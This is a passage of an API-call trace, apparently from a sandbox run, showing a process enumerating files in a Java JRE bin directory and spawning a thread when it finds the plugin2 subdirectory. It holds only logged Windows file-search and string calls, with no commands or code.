	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1
	[0078.301] wcscmp (_String1="JAWTAccessBridge-64.dll", _String2=".") returned 1
	[0078.301] wcscmp (_String1="JAWTAccessBridge-64.dll", _String2="..") returned 1
	[0078.301] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1
	[0078.301] wcscmp (_String1="jdwp.dll", _String2=".") returned 1
	[0078.301] wcscmp (_String1="jdwp.dll", _String2="..") returned 1
	[0078.301] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1
	[0078.301] wcscmp (_String1="jfr.dll", _String2=".") returned 1
	[0078.301] wcscmp (_String1="jfr.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1
	[0078.302] wcscmp (_String1="jfxmedia.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jfxmedia.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1
	[0078.302] wcscmp (_String1="jfxwebkit.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jfxwebkit.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1
	[0078.302] wcscmp (_String1="jjs.exe", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jjs.exe", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1
	[0078.302] wcscmp (_String1="jli.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jli.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1
	[0078.302] wcscmp (_String1="jp2iexp.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jp2iexp.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1
	[0078.302] wcscmp (_String1="jp2launcher.exe", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jp2launcher.exe", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1
	[0078.302] wcscmp (_String1="jp2native.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jp2native.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1
	[0078.302] wcscmp (_String1="jp2ssv.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jp2ssv.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1
	[0078.302] wcscmp (_String1="jpeg.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jpeg.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1
	[0078.302] wcscmp (_String1="jsdt.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jsdt.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1
	[0078.302] wcscmp (_String1="jsound.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jsound.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1
	[0078.302] wcscmp (_String1="jsoundds.dll", _String2=".") returned 1
	[0078.302] wcscmp (_String1="jsoundds.dll", _String2="..") returned 1
	[0078.302] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="kcms.dll", _String2=".") returned 1
	[0078.303] wcscmp (_String1="kcms.dll", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="keytool.exe", _String2=".") returned 1
	[0078.303] wcscmp (_String1="keytool.exe", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="kinit.exe", _String2=".") returned 1
	[0078.303] wcscmp (_String1="kinit.exe", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="klist.exe", _String2=".") returned 1
	[0078.303] wcscmp (_String1="klist.exe", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="ktab.exe", _String2=".") returned 1
	[0078.303] wcscmp (_String1="ktab.exe", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="lcms.dll", _String2=".") returned 1
	[0078.303] wcscmp (_String1="lcms.dll", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1
	[0078.303] wcscmp (_String1="management.dll", _String2=".") returned 1
	[0078.303] wcscmp (_String1="management.dll", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1
	[0078.303] wcscmp (_String1="mlib_image.dll", _String2=".") returned 1
	[0078.303] wcscmp (_String1="mlib_image.dll", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="msvcp120.dll", _String2=".") returned 1
	[0078.303] wcscmp (_String1="msvcp120.dll", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="msvcr100.dll", _String2=".") returned 1
	[0078.303] wcscmp (_String1="msvcr100.dll", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="msvcr120.dll", _String2=".") returned 1
	[0078.303] wcscmp (_String1="msvcr120.dll", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="net.dll", _String2=".") returned 1
	[0078.303] wcscmp (_String1="net.dll", _String2="..") returned 1
	[0078.303] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1
	[0078.303] wcscmp (_String1="nio.dll", _String2=".") returned 1
	[0078.304] wcscmp (_String1="nio.dll", _String2="..") returned 1
	[0078.304] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1
	[0078.304] wcscmp (_String1="npt.dll", _String2=".") returned 1
	[0078.304] wcscmp (_String1="npt.dll", _String2="..") returned 1
	[0078.304] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1
	[0078.304] wcscmp (_String1="orbd.exe", _String2=".") returned 1
	[0078.304] wcscmp (_String1="orbd.exe", _String2="..") returned 1
	[0078.304] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1
	[0078.304] wcscmp (_String1="pack200.exe", _String2=".") returned 1
	[0078.304] wcscmp (_String1="pack200.exe", _String2="..") returned 1
	[0078.304] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1
	[0078.304] wcscmp (_String1="plugin2", _String2=".") returned 1
	[0078.304] wcscmp (_String1="plugin2", _String2="..") returned 1
	[0078.304] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x47803d0
	[0078.304] wcscpy (in: _Dest=0x47803d0, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\bin" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin"
	[0078.304] wcscat (in: _Dest=0x47803d0, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\"
	[0078.304] wcscat (in: _Dest=0x47803d0, _Source="plugin2" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2"
	[0078.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47803d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c
	[0078.305] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0078.305] wcscmp (_String1="policytool.exe", _String2=".") returned 1
	[0078.305] wcscmp (_String1="policytool.exe", _String2="..") returned 1
	[0078.305] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1
	[0078.305] wcscmp (_String1="prism_common.dll", _String2=".") returned 1
	[0078.305] wcscmp (_String1="prism_common.dll", _String2="..") returned 1
	[0078.305] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1
	[0078.313] wcscmp (_String1="prism_d3d.dll", _String2=".") returned 1
	[0078.313] wcscmp (_String1="prism_d3d.dll", _String2="..") returned 1
	[0078.313] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1
	[0078.313] wcscmp (_String1="prism_sw.dll", _String2=".") returned 1
	[0078.313] wcscmp (_String1="prism_sw.dll", _String2="..") returned 1
	[0078.313] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1
	[0078.313] wcscmp (_String1="resource.dll", _String2=".") returned 1
